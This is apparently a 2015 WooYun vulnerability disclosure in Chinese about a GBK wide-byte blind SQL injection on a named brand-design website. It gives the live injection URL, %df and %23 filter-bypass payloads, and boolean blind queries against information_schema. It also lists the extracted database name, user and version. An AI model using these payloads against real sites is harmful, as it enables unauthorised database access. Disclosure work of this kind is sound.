漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0102245
漏洞标题:某品牌设计网站sql盲注
相关厂商:亚洲CI网
漏洞作者: 3ky7in4
提交时间:2015-03-19 16:33
修复时间:2015-05-03 16:34
公开时间:2015-05-03 16:34
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-03: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
后端数据库字符集为gbk,网站过滤时是使用addslashes这种方法,'将会变成\'。当%df遇到了遇到\的时候,会吃掉\,导致过滤失败!闭合的时候采用#这个符号,但因为在url中,所以使用url编码过的#,也就是%23
详细说明:
注入点:http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html
当查看网站的时候,发现品牌两个字对应的url有点特别。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html
将其按照gbk进行解码得“品牌”这两个字,
也就说这里是按照菜单栏上的汉字进行查询的。
这里测试一下
1、加上单引号的时候,发现返回页面结果变化了。也就是我们的输入对其查询产生影响
2、根据上面分析url,我们可以猜测数据库的字符集是使用gbk的,这时候尝试宽字节注入。此时url变成这样。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'.html
此时,mysql报错,也就说明宽字节注入有效。%df吃掉了\
3、先尝试"--+",发现“--”被过滤成“==”。改变注释方法
4、尝试“%23”,也就是“#”。此时url变成这样
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'%23.html
页面不再报错了,返回页面没有任何公司信息。说明查询结果为空
5、进行bool调整,加上" or 1=1",此时返回所有结果。
我们加上limit 1限定一下
此时变成了
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df' or 1=1 limit 1%23.html
6、进行order by 分析,无法得出结果
7、发现这个参数在一个页面内用于多次查询。右边侧边栏查询了一次,正文查询了一次,所以不知道列数。
可以看到当union到16列的时候是一种查询。
union到17列又是一种查询
可以看出即使union select的列数符合一个表,但是无法符合别的表。
8、没办法了,只能利用bool盲注了
9、构造了几个payload,查询当前数据库长度,以及名字
长度:" or length(database())=$j"
名字:" or ascii(lower(substring(database(),$j,1)))<110"
名字采用二分法,很快可以注出来。
对于当前用户只需将database()改成user()即可
10、下面到了管理表,构造原始sql语句,查询类似管理表的数目
or (select count(1) from information_schema.tables where table_name like '%admin%')>2
但是因为单引号被过滤了,可以采用十六进制或者char()函数。这里使用char()函数
or (select count(1) from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37))>2
11、盲注表名
or ascii(substring((select table_name from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37) limit 1),1,1))<110
漏洞证明:
一、漏洞判断
当" or 1=1 limit 1"时返回品牌信息
当" or 1=2"时发现页面和1=1不一样,漏洞存在
二、漏洞利用
1、注入当前数据库长度
2、注入当前数据库名
首字母的ascii值小于116
首字母的ascii值大于或等于110
首字母的acii值等于110,也就是c
最终获得当前数据库名字:newci
3、注入当前用户长度
获得当前用户名为:kormen@localhost
4、注入数据库版本信息
5.1.7
5、注入管理表
管理表首字母ascii值小于110
管理表首字母ascii值小于100
得出首字母为c
一次类推即可。第一个管理表长度为16,爆了前面四个字母
cise
PS:
1、之前一开始的是数字类型注入,那时没有一下子进行测试,只测试一部分。之后网站管理人员应该注意到测试引起的页面错误。对数字型进行检测了
2、然后我才根据之前的结果尝试宽字节的,往后会偶尔帮你们测试的了!
修复方案:
版权声明:转载请注明来源 3ky7in4@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝